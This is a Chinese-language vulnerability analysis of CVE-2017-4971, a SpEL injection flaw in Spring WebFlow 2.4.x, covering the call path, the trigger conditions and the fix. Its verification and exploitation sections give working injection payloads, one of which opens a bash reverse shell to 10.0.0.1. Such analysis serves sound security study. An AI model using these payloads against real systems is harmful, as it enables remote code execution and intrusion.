CVE-2017-4971

https://github.com/soft98-top/vulhub/tree/master/spring/CVE-2017-4971

https://paper.seebug.org/322/

https://github.com/spring-projects/spring-webflow/commit/57f2ccb66946943fbf3b3f2165eac1c8eb6b1523

概述

Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

影响版本:2.4.x

分析

漏洞的执行点位于org.springframework.webflow.mvc.view.AbstractMvcView#addEmptyValueMapping,这里用ExpressionParser执行了field。

idea追踪调用路径,分为两条路线,分叉点在org.springframework.webflow.mvc.view.AbstractMvcView#bind

这里的binderCondiguration是取决于有没有设置指定的绑定字段,即binding标签设置。通过addModelBindings和addDefaultMappings的对比可以看到,一个是从固定的bindings中取值,一个是遍历parameterNames,后者是我们可控的。这里还有一点需要注意就是有个fieldMarkerPrefix,也就是字段前缀,这里是_,构造时记得加上。

在往上追可以看到processUserEvent的处理中有写什么时候走入bind流程,首先是model不能为空,其次是通过shouldBind的校验,这里都比较简单,model取值就是从配置中的model属性去取的,shouldBind是确定bind属性是否为true,这个不设置默认为true。

以Spring Web flow 官方的 Example 为例,看一下它的配置文件,enterBookingDetails指定了model为booking,同时也制定了binding的字段是哪些,但是reviewBooking没有指定绑定的字段,符合漏洞触发的条件。

修复分析

修复的commit就是将解析执行由ExpressionParser默认接口变成了BeanWrapperExpressionParser,前者在解析时默认使用SpelExpressionParser去解析。

BeanWrapperExpressionParser:BeanWrapperExpressionParser 是 ExpressionParser 接口的实现类之一,它专门用于处理针对对象的表达式。它在解析表达式的同时,还可以使用 Spring 的 BeanWrapper 机制对对象进行包装和访问。BeanWrapperExpressionParser 可以访问对象的属性、调用对象的方法,甚至对对象进行类型转换和操作。

验证

_(new java.lang.ProcessBuilder("bash","-c","echo $(whoami) > /sectest.txt")).start()=sectest

利用

_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub

总结

一是框架的设计本身的配置自由和松散性,本身就容易出现此类的问题,二是ExpressionParser接口默认情况下使用了SpEL解析实现,这个CVE还有两个设置的局限性,分别是useSpringBeanBinding(默认为false)和allowDelimitedEvalExpressions(默认为false),具体可以看一下引用文章中的分析。